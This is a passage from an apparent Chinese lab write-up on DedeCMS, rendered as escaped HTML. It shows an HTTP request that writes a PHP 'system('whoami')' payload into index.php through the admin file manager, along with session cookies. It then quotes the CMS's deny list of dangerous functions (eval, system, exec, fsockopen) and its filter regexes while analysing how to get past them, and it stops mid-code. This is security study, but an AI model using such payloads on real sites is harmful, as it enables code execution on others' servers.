0.1px;\"\u003E\u003Cspan class=\"cm-variable\" style=\"box-sizing: border-box; color: rgb(0, 0, 0);\"\u003EContent\u003C\u002Fspan\u003E\u003Cspan class=\"cm-operator\" style=\"box-sizing: border-box; color: rgb(152, 26, 26);\"\u003E-\u003C\u002Fspan\u003E\u003Cspan class=\"cm-variable\" style=\"box-sizing: border-box; color: rgb(0, 0, 0);\"\u003ELength\u003C\u002Fspan\u003E: \u003Cspan class=\"cm-number\" style=\"box-sizing: border-box; color: rgb(17, 102, 68);\"\u003E130\u003C\u002Fspan\u003E\u003C\u002Fspan\u003E\u003Cbr\u003E\u003Cspan role=\"presentation\" style=\"box-sizing: border-box; padding-right: 0.1px;\"\u003E\u003Cspan class=\"cm-variable\" style=\"box-sizing: border-box; color: rgb(0, 0, 0);\"\u003ECache\u003C\u002Fspan\u003E\u003Cspan class=\"cm-operator\" style=\"box-sizing: border-box; color: rgb(152, 26, 26);\"\u003E-\u003C\u002Fspan\u003E\u003Cspan class=\"cm-variable\" style=\"box-sizing: border-box; color: rgb(0, 0, 0);\"\u003EControl\u003C\u002Fspan\u003E: \u003Cspan class=\"cm-builtin\" style=\"box-sizing: border-box; color: rgb(51, 0, 170);\"\u003Emax\u003C\u002Fspan\u003E\u003Cspan class=\"cm-operator\" style=\"box-sizing: border-box; color: rgb(152, 26, 26);\"\u003E-\u003C\u002Fspan\u003E\u003Cspan class=\"cm-variable\" style=\"box-sizing: border-box; color: rgb(0, 0, 0);\"\u003Eage\u003C\u002Fspan\u003E\u003Cspan class=\"cm-operator\" style=\"box-sizing: border-box; color: rgb(152, 26, 26);\"\u003E=\u003C\u002Fspan\u003E\u003Cspan class=\"cm-number\" style=\"box-sizing: border-box; color: rgb(17, 102, 68);\"\u003E0\u003C\u002Fspan\u003E\u003C\u002Fspan\u003E\u003Cbr\u003E\u003Cspan role=\"presentation\" style=\"box-sizing: border-box; padding-right: 0.1px;\"\u003E\u003Cspan class=\"cm-variable\" style=\"box-sizing: border-box; color: rgb(0, 0, 0);\"\u003EOrigin\u003C\u002Fspan\u003E: \u003Cspan class=\"cm-variable\" style=\"box-sizing: border-box; color: rgb(0, 0, 0);\"\u003Ehttp\u003C\u002Fspan\u003E:\u003Cspan class=\"cm-comment\" style=\"box-sizing: border-box; color: rgb(170, 85, 0);\"\u003E\u002F\u002Fdedecms:5135\u003C\u002Fspan\u003E\u003C\u002Fspan\u003E\u003Cbr\u003E\u003Cspan role=\"presentation\" style=\"box-sizing: border-box; padding-right: 0.1px;\"\u003E\u003Cspan class=\"cm-variable\" style=\"box-sizing: border-box; color: rgb(0, 0, 0);\"\u003EContent\u003C\u002Fspan\u003E\u003Cspan class=\"cm-operator\" style=\"box-sizing: border-box; color: rgb(152, 26, 26);\"\u003E-\u003C\u002Fspan\u003E\u003Cspan class=\"cm-variable\" style=\"box-sizing: border-box; color: rgb(0, 0, 0);\"\u003EType\u003C\u002Fspan\u003E: \u003Cspan class=\"cm-variable\" style=\"box-sizing: border-box; color: rgb(0, 0, 0);\"\u003Eapplication\u003C\u002Fspan\u003E\u003Cspan class=\"cm-operator\" style=\"box-sizing: border-box; color: rgb(152, 26, 26);\"\u003E\u002F\u003C\u002Fspan\u003E\u003Cspan class=\"cm-variable\" style=\"box-sizing: border-box; color: rgb(0, 0, 0);\"\u003Ex\u003C\u002Fspan\u003E\u003Cspan class=\"cm-operator\" style=\"box-sizing: border-box; color: rgb(152, 26, 26);\"\u003E-\u003C\u002Fspan\u003E\u003Cspan class=\"cm-variable\" style=\"box-sizing: border-box; color: rgb(0, 0, 0);\"\u003Ewww\u003C\u002Fspan\u003E\u003Cspan class=\"cm-operator\" style=\"box-sizing: border-box; color: rgb(152, 26, 26);\"\u003E-\u003C\u002Fspan\u003E\u003Cspan class=\"cm-variable\" style=\"box-sizing: border-box; color: rgb(0, 0, 0);\"\u003Eform\u003C\u002Fspan\u003E\u003Cspan class=\"cm-operator\" style=\"box-sizing: border-box; color: rgb(152, 26, 26);\"\u003E-\u003C\u002Fspan\u003E\u003Cspan class=\"cm-variable\" style=\"box-sizing: border-box; color: rgb(0, 0, 0);\"\u003Eurlencoded\u003C\u002Fspan\u003E\u003C\u002Fspan\u003E\u003Cbr\u003E\u003Cspan role=\"presentation\" style=\"box-sizing: border-box; padding-right: 0.1px;\"\u003E\u003Cspan class=\"cm-variable\" style=\"box-sizing: border-box; color: rgb(0, 0, 0);\"\u003EUpgrade\u003C\u002Fspan\u003E\u003Cspan class=\"cm-operator\" style=\"box-sizing: border-box; color: rgb(152, 26, 26);\"\u003E-\u003C\u002Fspan\u003E\u003Cspan class=\"cm-variable\" style=\"box-sizing: border-box; color: rgb(0, 0, 0);\"\u003EInsecure\u003C\u002Fspan\u003E\u003Cspan class=\"cm-operator\" style=\"box-sizing: border-box; color: rgb(152, 26, 26);\"\u003E-\u003C\u002Fspan\u003E\u003Cspan class=\"cm-variable\" style=\"box-sizing: border-box; color: rgb(0, 0, 0);\"\u003ERequests\u003C\u002Fspan\u003E: \u003Cspan class=\"cm-number\" style=\"box-sizing: border-box; color: rgb(17, 102, 68);\"\u003E1\u003C\u002Fspan\u003E\u003C\u002Fspan\u003E\u003Cbr\u003E\u003Cspan role=\"presentation\" style=\"box-sizing: border-box; padding-right: 0.1px;\"\u003E\u003Cspan class=\"cm-variable\" style=\"box-sizing: border-box; color: rgb(0, 0, 0);\"\u003EUser\u003C\u002Fspan\u003E\u003Cspan class=\"cm-operator\" style=\"box-sizing: border-box; color: rgb(152, 26, 26);\"\u003E-\u003C\u002Fspan\u003E\u003Cspan class=\"cm-variable\" style=\"box-sizing: border-box; color: rgb(0, 0, 0);\"\u003EAgent\u003C\u002Fspan\u003E: \u003Cspan class=\"cm-variable\" style=\"box-sizing: border-box; color: rgb(0, 0, 0);\"\u003EMozilla\u003C\u002Fspan\u003E\u003Cspan class=\"cm-operator\" style=\"box-sizing: border-box; color: rgb(152, 26, 26);\"\u003E\u002F\u003C\u002Fspan\u003E\u003Cspan class=\"cm-number\" style=\"box-sizing: border-box; color: rgb(17, 102, 68);\"\u003E5.0\u003C\u002Fspan\u003E (\u003Cspan class=\"cm-variable\" style=\"box-sizing: border-box; color: rgb(0, 0, 0);\"\u003EWindows\u003C\u002Fspan\u003E \u003Cspan class=\"cm-variable\" style=\"box-sizing: border-box; color: rgb(0, 0, 0);\"\u003ENT\u003C\u002Fspan\u003E \u003Cspan class=\"cm-number\" style=\"box-sizing: border-box; color: rgb(17, 102, 68);\"\u003E10.0\u003C\u002Fspan\u003E; \u003Cspan class=\"cm-variable\" style=\"box-sizing: border-box; color: rgb(0, 0, 0);\"\u003EWin64\u003C\u002Fspan\u003E; \u003Cspan class=\"cm-variable\" style=\"box-sizing: border-box; color: rgb(0, 0, 0);\"\u003Ex64\u003C\u002Fspan\u003E) \u003Cspan class=\"cm-variable\" style=\"box-sizing: border-box; color: rgb(0, 0, 0);\"\u003EAppleWebKit\u003C\u002Fspan\u003E\u003Cspan class=\"cm-operator\" style=\"box-sizing: border-box; color: rgb(152, 26, 26);\"\u003E\u002F\u003C\u002Fspan\u003E\u003Cspan class=\"cm-number\" style=\"box-sizing: border-box; color: rgb(17, 102, 68);\"\u003E537.36\u003C\u002Fspan\u003E (\u003Cspan class=\"cm-variable\" style=\"box-sizing: border-box; color: rgb(0, 0, 0);\"\u003EKHTML\u003C\u002Fspan\u003E, \u003Cspan class=\"cm-variable\" style=\"box-sizing: border-box; color: rgb(0, 0, 0);\"\u003Elike\u003C\u002Fspan\u003E \u003Cspan class=\"cm-variable\" style=\"box-sizing: border-box; color: rgb(0, 0, 0);\"\u003EGecko\u003C\u002Fspan\u003E) \u003Cspan class=\"cm-variable\" style=\"box-sizing: border-box; color: rgb(0, 0, 0);\"\u003EChrome\u003C\u002Fspan\u003E\u003Cspan class=\"cm-operator\" style=\"box-sizing: border-box; color: rgb(152, 26, 26);\"\u003E\u002F\u003C\u002Fspan\u003E\u003Cspan class=\"cm-number\" style=\"box-sizing: border-box; color: rgb(17, 102, 68);\"\u003E137.0\u003C\u002Fspan\u003E.\u003Cspan class=\"cm-number\" style=\"box-sizing: border-box; color: rgb(17, 102, 68);\"\u003E0.0\u003C\u002Fspan\u003E \u003Cspan class=\"cm-variable\" style=\"box-sizing: border-box; color: rgb(0, 0, 0);\"\u003ESafari\u003C\u002Fspan\u003E\u003Cspan class=\"cm-operator\" style=\"box-sizing: border-box; color: rgb(152, 26, 26);\"\u003E\u002F\u003C\u002Fspan\u003E\u003Cspan class=\"cm-number\" style=\"box-sizing: border-box; color: rgb(17, 102, 68);\"\u003E537.36\u003C\u002Fspan\u003E\u003C\u002Fspan\u003E\u003Cbr\u003E\u003Cspan role=\"presentation\" style=\"box-sizing: border-box; padding-right: 0.1px;\"\u003E\u003Cspan class=\"cm-variable\" style=\"box-sizing: border-box; color: rgb(0, 0, 0);\"\u003EAccept\u003C\u002Fspan\u003E: \u003Cspan class=\"cm-variable\" style=\"box-sizing: border-box; color: rgb(0, 0, 0);\"\u003Etext\u003C\u002Fspan\u003E\u003Cspan class=\"cm-operator\" style=\"box-sizing: border-box; color: rgb(152, 26, 26);\"\u003E\u002F\u003C\u002Fspan\u003E\u003Cspan class=\"cm-variable\" style=\"box-sizing: border-box; color: rgb(0, 0, 0);\"\u003Ehtml\u003C\u002Fspan\u003E,\u003Cspan class=\"cm-variable\" style=\"box-sizing: border-box; color: rgb(0, 0, 0);\"\u003Eapplication\u003C\u002Fspan\u003E\u003Cspan class=\"cm-operator\" style=\"box-sizing: border-box; color: rgb(152, 26, 26);\"\u003E\u002F\u003C\u002Fspan\u003E\u003Cspan class=\"cm-variable\" style=\"box-sizing: border-box; color: rgb(0, 0, 0);\"\u003Exhtml\u003C\u002Fspan\u003E\u003Cspan class=\"cm-operator\" style=\"box-sizing: border-box; color: rgb(152, 26, 26);\"\u003E+\u003C\u002Fspan\u003E\u003Cspan class=\"cm-variable\" style=\"box-sizing: border-box; color: rgb(0, 0, 0);\"\u003Exml\u003C\u002Fspan\u003E,\u003Cspan class=\"cm-variable\" style=\"box-sizing: border-box; color: rgb(0, 0, 0);\"\u003Eapplication\u003C\u002Fspan\u003E\u003Cspan class=\"cm-operator\" style=\"box-sizing: border-box; color: rgb(152, 26, 26);\"\u003E\u002F\u003C\u002Fspan\u003E\u003Cspan class=\"cm-variable\" style=\"box-sizing: border-box; color: rgb(0, 0, 0);\"\u003Exml\u003C\u002Fspan\u003E;\u003Cspan class=\"cm-variable\" style=\"box-sizing: border-box; color: rgb(0, 0, 0);\"\u003Eq\u003C\u002Fspan\u003E\u003Cspan class=\"cm-operator\" style=\"box-sizing: border-box; color: rgb(152, 26, 26);\"\u003E=\u003C\u002Fspan\u003E\u003Cspan class=\"cm-number\" style=\"box-sizing: border-box; color: rgb(17, 102, 68);\"\u003E0.9\u003C\u002Fspan\u003E,\u003Cspan class=\"cm-variable\" style=\"box-sizing: border-box; color: rgb(0, 0, 0);\"\u003Eimage\u003C\u002Fspan\u003E\u003Cspan class=\"cm-operator\" style=\"box-sizing: border-box; color: rgb(152, 26, 26);\"\u003E\u002F\u003C\u002Fspan\u003E\u003Cspan class=\"cm-variable\" style=\"box-sizing: border-box; color: rgb(0, 0, 0);\"\u003Eavif\u003C\u002Fspan\u003E,\u003Cspan class=\"cm-variable\" style=\"box-sizing: border-box; color: rgb(0, 0, 0);\"\u003Eimage\u003C\u002Fspan\u003E\u003Cspan class=\"cm-operator\" style=\"box-sizing: border-box; color: rgb(152, 26, 26);\"\u003E\u002F\u003C\u002Fspan\u003E\u003Cspan class=\"cm-variable\" style=\"box-sizing: border-box; color: rgb(0, 0, 0);\"\u003Ewebp\u003C\u002Fspan\u003E,\u003Cspan class=\"cm-variable\" style=\"box-sizing: border-box; color: rgb(0, 0, 0);\"\u003Eimage\u003C\u002Fspan\u003E\u003Cspan class=\"cm-operator\" style=\"box-sizing: border-box; color: rgb(152, 26, 26);\"\u003E\u002F\u003C\u002Fspan\u003E\u003Cspan class=\"cm-variable\" style=\"box-sizing: border-box; color: rgb(0, 0, 0);\"\u003Eapng\u003C\u002Fspan\u003E,\u003Cspan class=\"cm-operator\" style=\"box-sizing: border-box; color: rgb(152, 26, 26);\"\u003E*\u003C\u002Fspan\u003E\u003Cspan class=\"cm-comment\" style=\"box-sizing: border-box; color: rgb(170, 85, 0);\"\u003E\u002F*;q=0.8,application\u002Fsigned-exchange;v=b3;q=0.7\u003C\u002Fspan\u003E\u003C\u002Fspan\u003E\u003Cbr\u003E\u003Cspan role=\"presentation\" style=\"box-sizing: border-box; padding-right: 0.1px;\"\u003E\u003Cspan class=\"cm-comment\" style=\"box-sizing: border-box; color: rgb(170, 85, 0);\"\u003EReferer: http:\u002F\u002Fdedecms:5135\u002Fdede\u002Ffile_manage_view.php?fmdo=edit&filename=index.php&activepath=\u003C\u002Fspan\u003E\u003C\u002Fspan\u003E\u003Cbr\u003E\u003Cspan role=\"presentation\" style=\"box-sizing: border-box; padding-right: 0.1px;\"\u003E\u003Cspan class=\"cm-comment\" style=\"box-sizing: border-box; color: rgb(170, 85, 0);\"\u003EAccept-Encoding: gzip, deflate, br\u003C\u002Fspan\u003E\u003C\u002Fspan\u003E\u003Cbr\u003E\u003Cspan role=\"presentation\" style=\"box-sizing: border-box; padding-right: 0.1px;\"\u003E\u003Cspan class=\"cm-comment\" style=\"box-sizing: border-box; color: rgb(170, 85, 0);\"\u003EAccept-Language: zh-CN,zh;q=0.9\u003C\u002Fspan\u003E\u003C\u002Fspan\u003E\u003Cbr\u003E\u003Cspan role=\"presentation\" style=\"box-sizing: border-box; padding-right: 0.1px;\"\u003E\u003Cspan class=\"cm-comment\" style=\"box-sizing: border-box; color: rgb(170, 85, 0);\"\u003ECookie: menuitems=1_1%2C2_1%2C3_1; XDEBUG_SESSION=PHPSTORM; isg=BC0t-H7JNkY1K9KqstDirHGTPMmnimFclPBmVm8zhEQz5k2YN9gMLle10DoA_XkU; tfstk=gsmxOxa7tQAceJrHmnTljVp-sV9kxcH2mjkCj5b_cbettXgmmxVDPgwgQZNblAM1BArb7qVgi5EtQXpktHxn3xra5BAHx21QgMEa1hq6ruMWmMYktHxnhxrafBAnm2uO4We_ftsb5LE7K7wfcfNbP_wLLlNs1fZ7FRwahta_5a98Q7N_flG_VxGw676bsG3Q_Hk4jTL1XGn8HrFtj7ITT0j3kWTuZGs6I-UvyxNRfGi-rNoxmSTFE5r0gcex_HS4cP3EIRhvDiGtL0l8FXtOxSMrK24qcFj3JoVYSmG96Nex-jhaGx1flJEYMyibz9IZePg-2omX_wkoeSaLq4YyiPqxM2PUlURr6YFm1mU5MQVi-YmbyXOl2fzt8A2tMnIjOgRKtXHxj6VLIZ9JeN7al8oiGzDb-Z64p8FHHhQN7zJzeWvRrN7arFe8tKpV7Nzrv; PHPSESSID=efqbsshdtt5v597qu9paat8s7a; _csrf_name_f9024a86=f709bfcd9cfdec39b55e236837689b25; _csrf_name_f9024a861BH21ANI1AGD297L1FF21LN02BGE1DNG=f4d72c693dc8f42f; DedeUserID=1; DedeUserID1BH21ANI1AGD297L1FF21LN02BGE1DNG=cdad88453fa752a4; DedeLoginTime=1752071402; DedeLoginTime1BH21ANI1AGD297L1FF21LN02BGE1DNG=b21c89eb676161cd; ENV_GOBACK_URL=%2Fdede%2Fmedia_main.php%3Fdopost%3Dfilemanager\u003C\u002Fspan\u003E\u003C\u002Fspan\u003E\u003Cbr\u003E\u003Cspan role=\"presentation\" style=\"box-sizing: border-box; padding-right: 0.1px;\"\u003E\u003Cspan class=\"cm-comment\" style=\"box-sizing: border-box; color: rgb(170, 85, 0);\"\u003EConnection: keep-alive\u003C\u002Fspan\u003E\u003C\u002Fspan\u003E\u003Cbr\u003E\u003Cspan role=\"presentation\" style=\"box-sizing: border-box; padding-right: 0.1px;\"\u003E\u003Cspan cm-text=\"\" cm-zwsp=\"\" style=\"box-sizing: border-box;\"\u003E​\u003C\u002Fspan\u003E\u003C\u002Fspan\u003E\u003Cbr\u003E\u003Cspan role=\"presentation\" style=\"box-sizing: border-box; padding-right: 0.1px;\"\u003E\u003Cspan class=\"cm-comment\" style=\"box-sizing: border-box; color: rgb(170, 85, 0);\"\u003Efmdo=edit&backurl=&token=&activepath=&filename=index.php&str=%3C%3Fphp%0D%0Asystem%28%27whoami%27%29%3B&B1=++%E4%BF%9D+%E5%AD%98++\u003C\u002Fspan\u003E\u003C\u002Fspan\u003E\u003C\u002Fcode\u003E\u003C\u002Fpre\u003E\u003Cp\u003E但是发现\u003C\u002Fp\u003E\u003Cp\u003E\u003Cimg referrerpolicy=\"no-referrer\" src=\"https:\u002F\u002Fwww.yijinglab.com\u002Fguide-img\u002Fd9634e2f-3b66-42e7-8279-c0877cdd70e5\u002Fed188cbd-83f7-4539-8167-3cec089a6e1f.png\"\u003E\u003C\u002Fp\u003E\u003Cp\u003E所以准备调试分析一手\u003C\u002Fp\u003E\u003Cpre\u003E\u003Ccode\u003E\u003Cspan role=\"presentation\" style=\"box-sizing: border-box; padding-right: 0.1px;\"\u003E\u003Cspan class=\"cm-variable-2\" style=\"box-sizing: border-box; color: rgb(0, 85, 170);\"\u003E$str\u003C\u002Fspan\u003E \u003Cspan class=\"cm-operator\" style=\"box-sizing: border-box; color: rgb(152, 26, 26);\"\u003E=\u003C\u002Fspan\u003E \u003Cspan class=\"cm-builtin\" style=\"box-sizing: border-box; color: rgb(51, 0, 170);\"\u003Epreg_replace\u003C\u002Fspan\u003E(\u003Cspan class=\"cm-string\" style=\"box-sizing: border-box; color: rgb(170, 17, 17);\"\u003E\"#(\u002F\\*)[\\s\\S]*(\\*\u002F)#i\"\u003C\u002Fspan\u003E, \u003Cspan class=\"cm-string\" style=\"box-sizing: border-box; color: rgb(170, 17, 17);\"\u003E''\u003C\u002Fspan\u003E, \u003Cspan class=\"cm-variable-2\" style=\"box-sizing: border-box; color: rgb(0, 85, 170);\"\u003E$str\u003C\u002Fspan\u003E);\u003C\u002Fspan\u003E\u003Cbr\u003E\u003Cspan role=\"presentation\" style=\"box-sizing: border-box; padding-right: 0.1px;\"\u003E\u003Cspan cm-text=\"\" cm-zwsp=\"\" style=\"box-sizing: border-box;\"\u003E​\u003C\u002Fspan\u003E\u003C\u002Fspan\u003E\u003Cbr\u003E\u003Cspan role=\"presentation\" style=\"box-sizing: border-box; padding-right: 0.1px;\"\u003E\u003Cspan class=\"cm-keyword\" style=\"box-sizing: border-box; color: rgb(119, 0, 136);\"\u003Eglobal\u003C\u002Fspan\u003E \u003Cspan class=\"cm-variable-2\" style=\"box-sizing: border-box; color: rgb(0, 85, 170);\"\u003E$cfg_disable_funs\u003C\u002Fspan\u003E;\u003C\u002Fspan\u003E\u003Cbr\u003E\u003Cspan role=\"presentation\" style=\"box-sizing: border-box; padding-right: 0.1px;\"\u003E\u003Cspan class=\"cm-variable-2\" style=\"box-sizing: border-box; color: rgb(0, 85, 170);\"\u003E$cfg_disable_funs\u003C\u002Fspan\u003E \u003Cspan class=\"cm-operator\" style=\"box-sizing: border-box; color: rgb(152, 26, 26);\"\u003E=\u003C\u002Fspan\u003E \u003Cspan class=\"cm-keyword\" style=\"box-sizing: border-box; color: rgb(119, 0, 136);\"\u003Eisset\u003C\u002Fspan\u003E(\u003Cspan class=\"cm-variable-2\" style=\"box-sizing: border-box; color: rgb(0, 85, 170);\"\u003E$cfg_disable_funs\u003C\u002Fspan\u003E) \u003Cspan class=\"cm-operator\" style=\"box-sizing: border-box; color: rgb(152, 26, 26);\"\u003E?\u003C\u002Fspan\u003E \u003Cspan class=\"cm-variable-2\" style=\"box-sizing: border-box; color: rgb(0, 85, 170);\"\u003E$cfg_disable_funs\u003C\u002Fspan\u003E : \u003Cspan class=\"cm-string\" style=\"box-sizing: border-box; color: rgb(170, 17, 17);\"\u003E'phpinfo,eval,assert,exec,passthru,shell_exec,system,proc_open,popen,curl_exec,curl_multi_exec,parse_ini_file,show_source,file_put_contents,fsockopen,fopen,fwrite,preg_replace'\u003C\u002Fspan\u003E;\u003C\u002Fspan\u003E\u003Cbr\u003E\u003Cspan role=\"presentation\" style=\"box-sizing: border-box; padding-right: 0.1px;\"\u003E\u003Cspan class=\"cm-variable-2\" style=\"box-sizing: border-box; color: rgb(0, 85, 170);\"\u003E$cfg_disable_funs\u003C\u002Fspan\u003E \u003Cspan class=\"cm-operator\" style=\"box-sizing: border-box; color: rgb(152, 26, 26);\"\u003E=\u003C\u002Fspan\u003E \u003Cspan class=\"cm-variable-2\" style=\"box-sizing: border-box; color: rgb(0, 85, 170);\"\u003E$cfg_disable_funs\u003C\u002Fspan\u003E.\u003Cspan class=\"cm-string\" style=\"box-sizing: border-box; color: rgb(170, 17, 17);\"\u003E',[$]GLOBALS,[$]_GET,[$]_POST,[$]_REQUEST,[$]_FILES,[$]_COOKIE,[$]_SERVER,include,require,create_function,array_map,call_user_func,call_user_func_array,array_filert,getallheaders'\u003C\u002Fspan\u003E;\u003C\u002Fspan\u003E\u003Cbr\u003E\u003Cspan role=\"presentation\" style=\"box-sizing: border-box; padding-right: 0.1px;\"\u003E\u003Cspan class=\"cm-keyword\" style=\"box-sizing: border-box; color: rgb(119, 0, 136);\"\u003Eforeach\u003C\u002Fspan\u003E (\u003Cspan class=\"cm-builtin\" style=\"box-sizing: border-box; color: rgb(51, 0, 170);\"\u003Eexplode\u003C\u002Fspan\u003E(\u003Cspan class=\"cm-string\" style=\"box-sizing: border-box; color: rgb(170, 17, 17);\"\u003E\",\"\u003C\u002Fspan\u003E, \u003Cspan class=\"cm-variable-2\" style=\"box-sizing: border-box; color: rgb(0, 85, 170);\"\u003E$cfg_disable_funs\u003C\u002Fspan\u003E) \u003Cspan class=\"cm-keyword\" style=\"box-sizing: border-box; color: rgb(119, 0, 136);\"\u003Eas\u003C\u002Fspan\u003E \u003Cspan class=\"cm-variable-2\" style=\"box-sizing: border-box; color: rgb(0, 85, 170);\"\u003E$value\u003C\u002Fspan\u003E) {\u003C\u002Fspan\u003E\u003Cbr\u003E\u003Cspan role=\"presentation\" style=\"box-sizing: border-box; padding-right: 0.1px;\"\u003E    \u003Cspan class=\"cm-variable-2\" style=\"box-sizing: border-box; color: rgb(0, 85, 170);\"\u003E$value\u003C\u002Fspan\u003E \u003Cspan class=\"cm-operator\" style=\"box-sizing: border-box; color: rgb(152, 26, 26);\"\u003E=\u003C\u002Fspan\u003E \u003Cspan class=\"cm-builtin\" style=\"box-sizing: border-box; color: rgb(51, 0, 170);\"\u003Estr_replace\u003C\u002Fspan\u003E(\u003Cspan class=\"cm-string\" style=\"box-sizing: border-box; color: rgb(170, 17, 17);\"\u003E\"\u003C\u002Fspan\u003E \u003Cspan class=\"cm-string\" style=\"box-sizing: border-box; color: rgb(170, 17, 17);\"\u003E\"\u003C\u002Fspan\u003E, \u003Cspan class=\"cm-string\" style=\"box-sizing: border-box; color: rgb(170, 17, 17);\"\u003E\"\"\u003C\u002Fspan\u003E, \u003Cspan class=\"cm-variable-2\" style=\"box-sizing: border-box; color: rgb(0, 85, 170);\"\u003E$value\u003C\u002Fspan\u003E);\u003C\u002Fspan\u003E\u003Cbr\u003E\u003Cspan role=\"presentation\" style=\"box-sizing: border-box; padding-right: 0.1px;\"\u003E    \u003Cspan class=\"cm-keyword\" style=\"box-sizing: border-box; color: rgb(119, 0, 136);\"\u003Eif\u003C\u002Fspan\u003E(\u003Cspan class=\"cm-operator\" style=\"box-sizing: border-box; color: rgb(152, 26, 26);\"\u003E!\u003C\u002Fspan\u003E\u003Cspan class=\"cm-keyword\" style=\"box-sizing: border-box; color: rgb(119, 0, 136);\"\u003Eempty\u003C\u002Fspan\u003E(\u003Cspan class=\"cm-variable-2\" style=\"box-sizing: border-box; color: rgb(0, 85, 170);\"\u003E$value\u003C\u002Fspan\u003E) \u003Cspan class=\"cm-operator\" style=\"box-sizing: border-box; color: rgb(152, 26, 26);\"\u003E&&\u003C\u002Fspan\u003E \u003Cspan class=\"cm-builtin\" style=\"box-sizing: border-box; color: rgb(51, 0, 170);\"\u003Epreg_match\u003C\u002Fspan\u003E(\u003Cspan class=\"cm-string\" style=\"box-sizing: border-box; color: rgb(170, 17, 17);\"\u003E\"#[^a-z]+['\\\"]*\u003C\u002Fspan\u003E{\u003Cspan class=\"cm-variable-2\" style=\"box-sizing: border-box; color: rgb(0, 85, 170);\"\u003E$value\u003C\u002Fspan\u003E}\u003Cspan class=\"cm-string\" style=\"box-sizing: border-box; color: rgb(170, 17, 17);\"\u003E['\\\"]*[\\s]*[([{']#i\"\u003C\u002Fspan\u003E, \u003Cspan class=\"cm-string\" style=\"box-sizing: border-box; color: rgb(170, 17, 17);\"\u003E\"\u003C\u002Fspan\u003E {\u003Cspan class=\"cm-variable-2\" style=\"box-sizing: border-box; color: rgb(0, 85, 170);\"\u003E$str\u003C\u002Fspan\u003E}\u003Cspan class=\"cm-string\" style=\"box-sizing: border-box; color: rgb(170, 17, 17);\"\u003E\"\u003C\u002Fspan\u003E) \u003Cspan class=\"cm-operator\" style=\"box-sizing: border-box; color: rgb(152, 26, 26);\"\u003E==\u003C\u002Fspan\u003E \u003Cspan class=\"cm-atom\" style=\"box-sizing: border-box; color: rgb(34, 17, 153);\"\u003ETRUE\u003C\u002Fspan\u003E) {\u003C\u002Fspan\u003E\u003Cbr\u003E\u003Cspan role=\"presentation\" style=\"box-sizing: border-box; padding-right: 0.1px;\"\u003E        \u003Cspan class=\"cm-variable-2\" style=\"box-sizing: border-box; color: rgb(0, 85, 170);\"\u003E$str\u003C\u002Fspan\u003E \u003Cspan class=\"cm-operator\" style=\"box-sizing: border-box; color: rgb(152, 26, 26);\"\u003E=\u003C\u002Fspan\u003E \u003Cspan class=\"cm-variable\" style=\"box-sizing: border-box; color: rgb(0, 0, 0);\"\u003Edede_htmlspecialchars\u003C\u002Fspan\u003E(\u003Cspan class=\"cm-variable-2\" style=\"box-sizing: border-box; color: rgb(0, 85, 170);\"\u003E$str\u003C\u002Fspan\u003E);\u003C\u002Fspan\u003E\u003Cbr\u003E\u003Cspan role=\"presentation\" style=\"box-sizing: border-box; padding-right: 0.1px;\"\u003E        \u003Cspan class=\"cm-keyword\" style=\"box-sizing: border-box; color: rgb(119, 0, 136);\"\u003Edie\u003C\u002Fspan\u003E(\u003Cspan class=\"cm-string\" style=\"box-sizing: border-box; color: rgb(170, 17, 17);\"\u003E\"DedeCMS提示:当前页面中存在恶意代码!<pre>\u003C\u002Fspan\u003E{\u003Cspan class=\"cm-variable-2\" style=\"box-sizing: border-box; color: rgb(0, 85, 170);\"\u003E$str\u003C\u002Fspan\u003E}\u003Cspan class=\"cm-string\" style=\"box-sizing: border-box; color: rgb(170, 17, 17);\"\u003E<\u002Fpre>\"\u003C\u002Fspan\u003E);\u003C\u002Fspan\u003E\u003Cbr\u003E\u003Cspan role=\"presentation\" style=\"box-sizing: border-box; padding-right: 0.1px;\"\u003E   }\u003C\u002Fspan\u003E\u003Cbr\u003E\u003Cspan role=\"presentation\" style=\"box-sizing: border-box; padding-right: 0.1px;\"\u003E}\u003C\u002Fspan\u003E\u003Cbr\u003E\u003Cspan role=\"presentation\" style=\"box-sizing: border-box; padding-right: 0.1px;\"\u003E\u003Cspan cm-text=\"\" cm-zwsp=\"\" style=\"box-sizing: border-box;\"\u003E​\u003C\u002Fspan\u003E\u003C\u002Fspan\u003E\u003Cbr\u003E\u003Cspan role=\"presentation\" style=\"box-sizing: border-box; padding-right: 0.1px;\"\u003E\u003Cspan class=\"cm-keyword\" style=\"box-sizing: border-box; color: rgb(119, 0, 136);\"\u003Eif\u003C\u002Fspan\u003E(\u003Cspan class=\"cm-builtin\" style=\"box-sizing: border-box; color: rgb(51, 0, 170);\"\u003Epreg_match\u003C\u002Fspan\u003E(\u003Cspan class=\"cm-string\" style=\"box-sizing: border-box; color: rgb(170, 17, 17);\"\u003E\"#^[\\s\\S]+<\\?(php|=)?[\\s]+#i\"\u003C\u002Fspan\u003E, \u003Cspan class=\"cm-string\" style=\"box-sizing: border-box; color: rgb(170, 17, 17);\"\u003E\"\u003C\u002Fspan\u003E {\u003Cspan class=\"cm-variable-2\" style=\"box-sizing: border-box; color: rgb(0, 85, 170);\"\u003E$str\u003C\u002Fspan\u003E}\u003Cspan class=\"cm-string\" style=\"box-sizing: border-box; color: rgb(170, 17, 17);\"\u003E\"\u003C\u002Fspan\u003E) \u003Cspan class=\"cm-operator\" style=\"box-sizing: border-box; color: rgb(152, 26, 26);\"\u003E==\u003C\u002Fspan\u003E \u003Cspan class=\"cm-atom\" style=\"box-sizing: border-box; color: rgb(34, 17, 153);\"\u003ETRUE\u003C\u002Fspan\u003E) {\u003C\u002Fspan\u003E\u003Cbr\u003E\u003Cspan role=\"presentation\" style=\"box-sizing: border-box; padding-right: 0.1px;\"\u003E    \u003Cspan class=\"cm-keyword\" style=\"box-sizing: border-box; color: rgb(119, 0, 136);\"\u003Eif\u003C\u002Fspan\u003E(\u003Cspan class=\"cm-builtin\" style=\"box-sizing: border-box; color: rgb(51, 0, 170);\"\u003Epreg_match\u003C\u002Fspan\u003E(\u003Cspan class=\"cm-string\" style=\"box-sizing: border-box; color: rgb(170, 17, 17);\"\u003E\"#[$][_0-9a-z]+[\\s]*[(][\\s\\S]*[)][\\s]*[;]#iU\"\u003C\u002Fspan\u003E, \u003Cspan class=\"cm-string\" style=\"box-sizing: border-box; color: rgb(170, 17, 17);\"\u003E\"\u003C\u002Fspan\u003E {\u003Cspan class=\"cm-variable-2\" style=\"box-sizing: border-box; color: rgb(0, 85, 170);\"\u003E$str\u003C\u002Fspan\u003E}\u003Cspan class=\"cm-string\" style=\"box-sizing: border-box; color: rgb(170, 17, 